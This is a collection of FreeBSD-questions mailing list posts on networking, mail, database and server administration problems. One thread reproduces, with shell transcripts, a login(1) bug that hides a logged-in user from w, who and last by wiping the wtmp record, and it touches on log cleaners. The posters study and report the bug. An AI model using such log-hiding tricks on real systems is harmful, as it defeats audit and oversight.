Re: fxp: promiscuous mode enabled
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 To add, most kinds of network statistic programs will put the card into catch all mode... i would try to watch the system messages, and in case it happens run a ps to see whats happening... that in case, you have not started any kind of program that does statistical network analysis or content grabbing... Derek Ragona schrieb: promiscuous mode means the ethernet NIC grabs ALL packets, not just the ones addressed to it. This is typically done by packet sniffers. -Derek At 09:35 AM 4/9/2006, Thiago Esteves de Oliveira wrote: Hi, I have a problem with my ethernet adapter (fxp)... When a run 'dmesg', look: fxp: promiscuous mode enabled fxp: promiscuous mode disabled fxp: promiscuous mode enabled fxp: promiscuous mode disabled I didn't find it in fxp's manual... What's it ... -- Thiago Esteves de Oliveira ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD4DBQFEOSa1WvEVE8MtwbgRAsenAKCT7G06l6rWkVinWyD9p3U+QqZQBgCXYQZ+ PUmeop5qHNdZj5MLjH3L8Q== =z3fE -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Where am I? :)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 *If* this is a genuine bug in the 7.0 branch of fbsd, it would sound like a major problem to me... Have you tried to reach the developers, to tell them about the problem? Giorgos Keramidas schrieb: On 2006-03-04 23:41, Oliver Leitner [EMAIL PROTECTED] wrote: Well, it could have different reasons then: 1. your box has been hacked, and you have a somewhat crippled login or shell, try to replace that things with clean ones. 2. maybe there is something wrong with memory mapping, eventually diag your ram, or build a new kernel. 3. its just one of those accidently things that happen every 10 years once... No it's a genuine bug. I can reproduce it here too, on FreeBSD 7.0-CURRENT, using the instructions of Gabor Kovesdan, as you can see here: % [EMAIL PROTECTED]:/home/keramida$ w % 3:07AM up 1 day, 3:12, 3 users, load averages: 0.12, 0.09, 0.03 % USER TTY FROM LOGIN@ IDLE WHAT % keramida v2 - 3:07AM - w % [EMAIL PROTECTED]:/home/keramida$ tty % /dev/ttyv2 Here you can see that I'm logged in on ttyv2 (third virtual console). % [EMAIL PROTECTED]:/home/keramida$ login some_fake_user % Password: % Login incorrect % login: keramida % Last login: Sun Mar 5 03:07:27 on ttyv2 % Copyright (c) 1992-2006 The FreeBSD Project. % Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 % The Regents of the University of California. All rights reserved. % % FreeBSD 7.0-CURRENT (FLAME) #0: Fri Mar 3 20:13:02 EET 2006 % [EMAIL PROTECTED]:/home/keramida$ w % 3:07AM up 1 day, 3:13, 3 users, load averages: 0.08, 0.09, 0.03 % USER TTY FROM LOGIN@ IDLE WHAT % keramida v2 - 3:07AM - w % [EMAIL PROTECTED]:/home/keramida$ Now I'm logged in again on the same terminal, but in a nested login. % [EMAIL PROTECTED]:/home/keramida$ exit % logout % [EMAIL PROTECTED]:/home/keramida$ w % 3:07AM up 1 day, 3:13, 2 users, load averages: 0.08, 0.09, 0.03 % USER TTY FROM LOGIN@ IDLE WHAT % [EMAIL PROTECTED]:/home/keramida$ Done. I'm gone, and my login record has been wiped from wtmp. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFECt8CWvEVE8MtwbgRAkywAKCVxsVNPQeuNovGKXmSfaUS4QG4SQCeJM9D jiBcPTf4w3Gl5V02jNjTXGI= =mQZX -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Where am I? :)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Karol Kwiatkowski schrieb: [format recovered] Oliver Leitner wrote: Karol Kwiatkowski schrieb: Kövesdán Gábor wrote: I don't use any log cleaner, I triggered this accidentally. Please read the whole thread if you're interested or see this: http://www.freebsd.org/cgi/query-pr.cgi?pr=94060 Gabor Kovesdan Looks similar to this: http://lists.freebsd.org/pipermail/freebsd-questions/2004-December/068201.html Regards, Karol Well, it could have different reasons then: 1. your box has been hacked, and you have a somewhat crippled login or shell, try to replace that things with clean ones. 2. maybe there is something wrong with memory mapping, eventually diag your ram, or build a new kernel. 3. its just one of those accidently things that happen every 10 years once... Very unlikely for various reasons: - it wasn't me who reported it back then (my post was basically me too) - this is a test machine with one user, no direct connection, no daemons except secured ssh, rebuilding world every other day - the machine was running 5.x back then, now 6.1-PRERELEASE and I can reproduce this; in fact I can do that on 6.0-RELEASE, too: [the same procedure Gabor Kovesdan wrote, only it seems 'login as fake user' step is not needed] % [EMAIL PROTECTED] ssh -p 722 orchid % Password: % Last login: Sat Mar 4 12:05:43 2006 from blackacidevil.o % [...motd skiped...] % [EMAIL PROTECTED] uname -sr % FreeBSD 6.0-RELEASE-p2 % [EMAIL PROTECTED] w % 11:31AM up 11 days, 9:24, 1 user, load averages: 0.29, 0.21, 0.17 % USER TTY FROM LOGIN@ IDLE WHAT % karolp0 blackacidevil.or 11:31AM - w % [EMAIL PROTECTED] login % login: karol % Last login: Sun Mar 5 11:31:22 from blackacidevil.o % [...motd skiped...] % [EMAIL PROTECTED] w % 11:32AM up 11 days, 9:25, 1 user, load averages: 0.11, 0.17, 0.16 % USER TTY FROM LOGIN@ IDLE WHAT % karolp0 -11:32AM - w % [EMAIL PROTECTED] exit % [EMAIL PROTECTED] w % 11:32AM up 11 days, 9:25, 0 users, load averages: 0.11, 0.17, 0.16 % USER TTY FROM LOGIN@ IDLE WHAT % [EMAIL PROTECTED] Here, I disappeared from 'w's output. Root can't see me too: % [EMAIL PROTECTED] su - % Password: % orchid: Yes, Master? w % 11:35AM up 11 days, 9:28, 0 users, load averages: 0.53, 0.26, 0.19 % USER TTY FROM LOGIN@ IDLE WHAT Here's what last(1) prints: % orchid: Yes, Master? last % karolttyp0 Sun Mar 5 11:32 - 11:32 (00:00) % karolttyp0192.168.1.66 Sun Mar 5 11:31 - 11:32 (00:00) % [...] % orchid: Yes, Master? It seems login(1) simply records user logged out the moment he's logged in the second time (sorry, I'm not native English speaker ;) ) The reason I didn't send any PR back then I didn't know if it's a bug or feature. Since there was virtually no response from list I assumed it's not a bug (at least not a serious one) and I just made a personal note: don't use w(1), who(1), last(1) or /var/log/wtmp. Best regards, Karol He is still logged in, so id suggest that this is a bug -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFECuAAWvEVE8MtwbgRAuLEAJ4sQfNx8p/JaugF4YyiRPgui6WmJACeMz5a Ta8ciquZ8Vf8UTZzWTr1llk= =P5ny -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Where am I? :)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Big one, so you know howto use a log cleaner. am i am the only one that is not impressed? btw, did you actually realize, that log cleaner wont clean the history file? just a suggestion... Kövesdán Gábor schrieb: Hello, look at this: [EMAIL PROTECTED] w 12:41AM up 82 days, 10:05, 0 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT [EMAIL PROTECTED] Where am I? :) I don't know exactly how it happened, but I'll investigate, I have an idea and I'll report if I find out. Gabor Kovesdan ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFECgWwWvEVE8MtwbgRAjuyAJ0elWznHcoynRn3uVxIX+Hz1hvuYQCfVKlm /0PIp0qp4iilRHevAyFUU3U= =aeud -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Where am I? :)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yea... Right... well, however... log out and log back in, it should start the logs again. in case you really dropped it accidently, look if the system logging daemon is running. Kövesdán Gábor schrieb: Oliver Leitner wrote: Big one, so you know howto use a log cleaner. am i am the only one that is not impressed? btw, did you actually realize, that log cleaner wont clean the history file? just a suggestion... I don't use any log cleaner, I triggered this accidentally. Please read the whole thread if you're interested or see this: http://www.freebsd.org/cgi/query-pr.cgi?pr=94060 Gabor Kovesdan -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFEChFhWvEVE8MtwbgRArAGAJwOnNI2RwZ6zq2EC8v2bz+eJ5F5vACfUuap 7mbdrC5vWV/ILQbhp1PBzzM= =tJyb -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Where am I? :)
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Well, it could have different reasons then: 1. your box has been hacked, and you have a somewhat crippled login or shell, try to replace that things with clean ones. 2. maybe there is something wrong with memory mapping, eventually diag your ram, or build a new kernel. 3. its just one of those accidently things that happen every 10 years once... Karol Kwiatkowski schrieb: Kövesdán Gábor wrote: I don't use any log cleaner, I triggered this accidentally. Please read the whole thread if you're interested or see this: http://www.freebsd.org/cgi/query-pr.cgi?pr=94060 Gabor Kovesdan Looks similar to this: http://lists.freebsd.org/pipermail/freebsd-questions/2004-December/068201.html Regards, Karol -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFECheUWvEVE8MtwbgRAjiPAJ99pScZphH029dzwLoxU1UiBX1KygCfX79s TeoN/020yEHS9efy2ZDTdz8= =tlxX -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Worried ...
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 well, there is a possibility that he got hacked, its a common tactic to use a port of another program for a shell of some kind. but we cannot tell, as long as we dont get further info from you, graham. informations like: what else does the syslog says, a list of used ports and the programs running on them, etc... Greetings Oliver Leitner Technical Staff http://www.shells.at Rein Kadastik wrote: No worries (from the security side). This error means that SSH daemon cannot start because the port 22 is already use by another program (probably another SSH daemon). So it is likely that you try to start several versions of SSH daemon or some program uses port 22 and starts before SSH daemon. --Rein Graham Bentley wrote: My security run output reported mydomain.co.uk login failures: Sep 13 23:43:01 3bsd sshd[2066]: error: Bind to port 22 on 192.168.x.x failed: Address already in use. I dont remember Puttying in last night and this am there is a problme with the WiFi Access Point ? Have I been cracked ? ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFDJ/f/WvEVE8MtwbgRAiykAJ9tjKjY09DujWxGMLdomaNRA9jaGQCfUg3l fw6yok2OyLmQJnc0tL37dy8= =bz+Q -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: rw access to ntfs
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Ben Paley wrote: On Wednesday 29 June 2005 16:40, Svein Halvor Halvorsen wrote: * Alex Zbyslaw [2005-06-29 15:07 +0100] Perhaps you could ask Microsoft to provide support in Windows for accessing any kind of filesystem other than their own. ;-) http://ffsdrv.sourceforge.net/ Will let you mount a ffs filesystem on Windows. Not sure how well tested it is, though I'll have a look... ...but frankly the very idea terrifies me. Let Winxp loose on my fbsd partition? shudders Cheers, Ben ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] has captive been ported to bsd yet? that might be a solution... Greetings Oliver Leitner Technical Staff http://www.shells.at -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFCwshmWvEVE8MtwbgRAsPUAJ9ha2FqNiRqci0+/0IU3llA/DagoACglC/K Gt7IURKviWzmruK29tm7QIA= =HeDS -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Still trying to get my site up!
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gerard Seibert wrote: On Sunday, June 26, 2005 8:47:41 PM John Brooks [EMAIL PROTECTED] wrote: $do you have any kind of firewall? from the outside world port 9545 $is closed. so either it is being blocked, you are not actually $listening on it, or there is no port forwarding on your gateway. $ $run this on the box itself and post the output: $ netstat -na | grep LISTEN $ $try to connect from another host on your network: $ http://192.168.0.4:9545 $ $then try: $ http://192.168.0.4:80 $ $-- $John Brooks $[EMAIL PROTECTED] $ $ -Original Message- $ From: [EMAIL PROTECTED] $ [mailto:[EMAIL PROTECTED] Behalf Of Gerard Seibert $ Sent: Sunday, June 26, 2005 6:07 PM $ To: freebsd-questions $ Subject: Still trying to get my site up! $ $ $ Thanks to several individuals, I have almost gotten my Apache2 server $ working. Almost, but not quite. $ $ My ISP blocks port 80; therefore I am using a redirect from DynDNS.org to $ redirect to an alias using port 9545. $ $ The 'beerstud.us' redirects to 'www2.beerstud.us:9545' $ $ From my FreeBSD box, if I type: lynx http://beerstud.us, I see the $ following message: Using http://www2.beerstud.us:9545/. The connection is $ made and the index.htm file is displayed. $ $ However, I am unable to reach this site from any other computer. $ Eventually, the request will time out and I receive an error message $ telling me that the site is not available. $ $ I am not sure what I am doing wrong at this point. I have posted the $ following files if anyone feels ambitious enough to look them over for me. $ $ httpd.conf = http://www.seibercom.us/FreeBSD/httpd.conf $ $ hosts = http://www.seibercom.us/FreeBSD/hosts $ $ This is the output from ifconfig -a $ net-card.txt = http://www.seibercom.us/FreeBSD/net-card.txt $ $ resolv.conf = http://www.seibercom.us/FreeBSD/resolv.conf $ $ The 'hosts' file has a pretty good description of my network in it. I $ double checked my router, and I believe it is configured $ correctly to pass $ port 9545 through. $ $ -- $ Thanks! $ $ Gerard Seibert $ [EMAIL PROTECTED] $ ** Reply Separator ** Monday, June 27, 2005 6:48:35 AM The netstat -na | grep LISTEN command produces this output: tcp40 0 *.139 *.* LISTEN tcp40 0 *.445 *.* LISTEN tcp40 0 *.901 *.* LISTEN tcp46 0 0 *.9545 *.* LISTEN tcp40 0 127.0.0.1.25 *.* LISTEN Both http://192,168.0.4:9545 goes to my site. The http://192.168.0.4:80 produces this error: Looking up 192.168.0.4 Making HTTP connection to 192.168.0.4 Alert!: Unable to connect to remote host. lynx: Can't access startfile http://192.168.0.4/ Dear Gerard looks like there is no server running on port 80, may we have a look into your httpd.conf file? Greetings Oliver Leitner Technical Staff http://www.shells.at -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (GNU/Linux) iD8DBQFCv91tWvEVE8MtwbgRAqETAJ9aFtJ8QCJhhrFCgADkaKK8PrAkywCgnprt U1jTSUmErKIfj+JG0MxL7nM= =VhmQ -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Performance
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Michael Louie Loria wrote: | Will FreeBSD 5.4 run smoothly in a Compaq 750 Mhz, 64 | MB RAM PC | installing all of the packages because I want to test | and try setting up | different servers? | | Thanks, | | Michael Louie Loria Dear Michael e thats a pretty heavy machine for an os that runs on 486... well, depending on which exact servers, software or programs you want to run on it, its either enough, or it isnt... if you want more exact calcs, please apply us with some more information... Greetings Oliver Leitner Technical Staff http://www.shells.at -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) iD8DBQFCpAAYWvEVE8MtwbgRAnHcAJ9C1J93ci3u5lCdhYan9fohPcGsigCfXS42 ljZU3fi4VLKTvcDYo6LwGes= =bLPx -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Unable to build PORT
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Gerard Seibert wrote: | I am attempting to update this port: | | apr-nothr-db4-1.0.1_1 | | with this port: | | apr-nothr-gdbm-db4-1.0.1_1 | | In the Makefile there is listed a 'CONFLICKS = apr-*' | | I have not been able to build this port, since it stops with an error | code. Should I delete the old port prior to attempting to build this | newer on? I only tried to build it, not install it. I did not see | anything in the UPDATING file, although I might have missed it. | Dear Gerard Seibert first of all, whats the exact error output that you get? secondly, are there any infos about this port in the changelog? (or was the filename changes, install...) in root port dir... Greetings Oliver Leitner Technical Staff http://www.shells.at -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (MingW32) iD8DBQFCoix5WvEVE8MtwbgRAlDIAJ9h26TurtkdE7DY/kSalizfyjU2QwCdGnPI 3et1F/JGGHtS57df1uqLCfo= =ymc7 -END PGP SIGNATURE- ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: sendmail
err, just an idea, youre relaying via smtp from gmail. isnt that smtp.gmail.com? just from what ive lately seen, the gmail smtp server is a little bit slow on sending On Tuesday 15 February 2005 11:23, Kim johansen wrote: i got a problem with sendmail, when i send a mail it takes 20-60secound before the mail is queued and another 20-60 secound before the mail is sendt. Feb 15 11:21:24 srv102 sendmail[40844]: j1FALOJv040844: from=qkim, size=44, class=0, nrcpts=1, msgid=[EMAIL PROTECTED], [EMAIL PROTECTED] Feb 15 11:21:44 srv102 sendmail[40844]: j1FALOJv040844: [EMAIL PROTECTED], ctladdr=qkim (1960/1975), delay=00:00:20, xdelay=00:00:20, mailer=relay, pri=30044, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (j1FALOJ9040845 Message accepted for delivery) Feb 15 11:22:27 srv102 sm-mta[40857]: j1FALOJ9040845: to=[EMAIL PROTECTED], ctladdr=[EMAIL PROTECTED] (1960/1975), delay=00:00:43, xdelay=00:00:43, mailer=esmtp, pri=30375, relay=gsmtp171.google.com. [64.233.171.27], dsn=2.0.0, stat=Sent (OK 1108462951) where do this delay come from? Mvh Kim Johansen ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: sendmail
may you please post your sendmail.mc file? On Tuesday 15 February 2005 12:21, Kim johansen wrote: Thats not the problem, it takes 20 secound before sendmail can get the message accepted. it is been queued after 20 secounds. So a phpscript with mail would be running for 20secounds just to send a mail. On Tue, 15 Feb 2005 12:10:43 +0100, Oliver Leitner [EMAIL PROTECTED] wrote: err, just an idea, youre relaying via smtp from gmail. isnt that smtp.gmail.com? just from what ive lately seen, the gmail smtp server is a little bit slow on sending On Tuesday 15 February 2005 11:23, Kim johansen wrote: i got a problem with sendmail, when i send a mail it takes 20-60secound before the mail is queued and another 20-60 secound before the mail is sendt. Feb 15 11:21:24 srv102 sendmail[40844]: j1FALOJv040844: from=qkim, size=44, class=0, nrcpts=1, msgid=[EMAIL PROTECTED], [EMAIL PROTECTED] Feb 15 11:21:44 srv102 sendmail[40844]: j1FALOJv040844: [EMAIL PROTECTED], ctladdr=qkim (1960/1975), delay=00:00:20, xdelay=00:00:20, mailer=relay, pri=30044, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (j1FALOJ9040845 Message accepted for delivery) Feb 15 11:22:27 srv102 sm-mta[40857]: j1FALOJ9040845: to=[EMAIL PROTECTED], ctladdr=[EMAIL PROTECTED] (1960/1975), delay=00:00:43, xdelay=00:00:43, mailer=esmtp, pri=30375, relay=gsmtp171.google.com. [64.233.171.27], dsn=2.0.0, stat=Sent (OK 1108462951) where do this delay come from? Mvh Kim Johansen ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: /tmp on same partition as /
well, its ok to have /tmp on the same partition as /, as long as other security measurements work, for example a tripwire setup and logging user actions of any kind, also having an overview over the logs. as long as these work, and you take care whats going on on the box, it does not really matter where /tmp resides. On Friday 11 February 2005 21:13, Chad Morland wrote: I'm setting up a mail server at the momment, one of the things that I forgot to do was create /tmp as a separate partiton (/ = 2gb). There will be no user logins to the machine aside from admins and the only thing that it will run is qmail acting as a smarthost (vanilla qmail, no amavis or anything of the sort.) In your opinion is having /tmp on the same partition as / really THAT bad in this case? I'm just wondering cause some people have mentioned that its a major security risk. Really, I don't think it is for what this box is doing. -CM ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: SQL Questions (MySQL or PostgreSQL?)
after a lil bit of research on google, ive stumbled across this one, which just rounds up what anyone would tell about it. wrote:http://www.daniweb.com/techtalkforums/showthread.php?t=161 there are prolly other articles that say more, but this one just seems to fit your needs, short and to the point. Greetings Oliver Leitner Technical Staff http://www.shells.at Jan Branbergen wrote: I would like to install SQL here for my own use, not for any real life currently, round now for learning. Right now plan to install MySQL. Looking through the ports there is numerous version and some say for server, some say for client. Looking for some tips as to what version of SQL and tools to install? Also wondering if anyone can point me towards documentation in my learning efforts? i would like to suggest PostgreSQL if your objective is learning SQL. MySQL only provides a subset. it is by no means more complicated to install or to get started. regards, Jan What is the difference between PostgreSQL and MySQL? From what I see MySQL seems to be more common. Sean ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: DNS' bind 9 chrooted by default ?
i guess you would have to set the bind directory to be jailed in the rc.conf, but thats just a guess, i have no dns running on a bsd here. Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 11 February 2005 23:29, kilim wrote: Hello, regarding Bind 9, here: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-bind9.htm l its stated that the configuration file resides in /var/named/etc/namedb/ and that bind will be chrooted automatically. Yet here: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-dns.html steps are shown for manual chrooting of bind (not version 9) So I just want to confirm it with you guys, is bind 9.3 really chrooted by default on 5.3 ? I mean, don't have to do any of the steps as stated in the second link, for chrooting ? Thank you ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: SQL Questions - migrating MySQL to PostgreSQL?
well, i havent done that one yet, but you might want to have a look onto this page, that i just discovered via google: http://www.sitepoint.com/article/site-mysql-postgresql-1 there are many more articles about this one. i hope this helps you further. Greetings Oliver Leitner Technical Staff http://www.shells.at On Saturday 12 February 2005 01:18, Erik Norgaard wrote: Peter Risdon wrote: Postgresql is an excellent dbms and well worth a look. But if you're starting out, I think mysql is the place to be. Ok, since the discussion is up, I have used MySQL for years, no problem serves my needs. Yet, I'd like to try out that PostgreSQL so many talks about. So, how do I migrate? I want to dump my mysql database - not big - and load it all into postgresql - of course it's perlable, but maybe there is an easier solution. Second, what do I need to change in my php scripts? Thanks, Erik -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Please don't change Beastie to another crap logo such asNetBSD!!!
alot of discussions going on the past 48 hours about this topic, i guess there is alot of room for explanations left, that ppls want to hear, why not give the ppls that actually stand behind FreeBSD and behind the logo contest or whatever it is a chance to tell us what they where thinking about when they started the contest? also id like to know, *is* FreeBSD now coperate, like the previous poster tried to point out, or do we still have the bsd license here? cheers on a late night discussion) oliver. On Friday 11 February 2005 01:35, Frank J. Laszlo wrote: Anthony Atkielski wrote: Frank Laszlo writes: Yes, Process colors being 4 plates, but rendered properly, it could be less. All process printing requires four (or six) colors. That's what process means. The current logo as it is shown on freebsd.org, COULD be printed on 2 plates, as a 2 color job. those colors being black and red. Possibly. It would still look odd, though. This isnt an issue with todays modern digital 4 color presses such as the iGen3. It's an issue with any press. Digital presses have less trouble with registration, but they aren't any better at getting the line frequencies higher. Indeed, normal offset provides higher frequencies. It has no problem with registration if ran by a qualified operator. Now if you are a 80's or 90's printer using an old heidelburg 2 color press, sure.. registration is very difficult when dealing with small print and screens. What sort of printer would FreeBSD best be able to afford? Well, I'm not going into budget issues, but yes you have a point here. I am open to quote any print job if the FreeBSD Foundation so chooses to do official corporate print work. e.g. letterhead, business cards, printed manuals, etc.. I would of course give my normal discount as I do with any other non-profit organizations. Furthermore, anyone with experience in the modern printing world knows that getting high quality (and affordable) printed artwork on a small piece is very simple when using the right equipment. It doesn't matter what equipment you use. Small artwork with lots of fine detail reduces poorly; if it contains halftones, it reduces even more poorly. Who says it has to be small? and how small are you talking for print work? on a CD? thats not very small IMHO. One should be able to attain excellent quality at that size. I consider small artwork to be 1in. I've done several of these type of jobs on the iGen3 we have here at my office. Anyways, this is WAY off from the original post, So I end it with that. Actually it is highly relevant, since a key reason for developing a simple logo is to make it easy to display and print. Getting back to the point at hand, the beastie is nothing more than a mascot. plain and simple. But people are talking like there will be no more beastie representing FreeBSD. I dont think this is the point. Also, whoever started that petition needs to actually get some inside information other than a non publicized (sp?) anouncement. The true intention of this logo contest is likely to give more of a corporate identity to freebsd as a whole. I am now done with this thread. Once again, I will end it. (hopefully) :) Kind Regards, Frank Laszlo ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: single box handling multiple ips, how?
On Friday 11 February 2005 02:54, Lowell Gilbert wrote: Ken Hawkins [EMAIL PROTECTED] writes: I do not know what the 'web1.a.net.' is about, more specifically he .net. (dot on the end). i took this for the initial setup that was done on the box' initial entry in the /etc/hosts. It looks like a DNS map, but that's not what should go in hosts(5). a view on my /etc/hosts ::1 localhost.localnet localhost 127.0.0.1 localhost.localnet localhost 192.168.xxx.3 thispc.localnet thispc 192.168.xxx.3 thispc.localnet. 192.168.xxx.2 pc02.localnet pc02 192.168.xxx.5 pc03.localnet pc03 192.168.xxx.8 pc04.localnet pc04 ok what am i doing... I have apache running on the box and would like to use 3 diffferent IP's to try and keep (somewhat separate) the traffic, logging, etc. for the Virtual Hosts that are running there. ultimately I will have; ip address 1 resolve to - website 1 ip address 2 resolve to - website 2 ip address 3 resolve to - website 3 obviously they will bind to the same box but i would like to have them to separate ip's to ease some maintenance on the box, redirect traffic when needed, blah, blah. I know that I can Name more than one VirtualHost ie; NameVirtualHost ???.???.???.151:80 NameVirtualHost ???.???.???.152:80 NameVirtualHost ???.???.???.153:80 and then the normal VirtualHost directive via IP's but I want to make sure that the box will answer to those ip's when we flip the DNS switch. am i making sense? did i leave anything beyond the bind directive's out? Sure, it makes sense, but you're making it more complicated 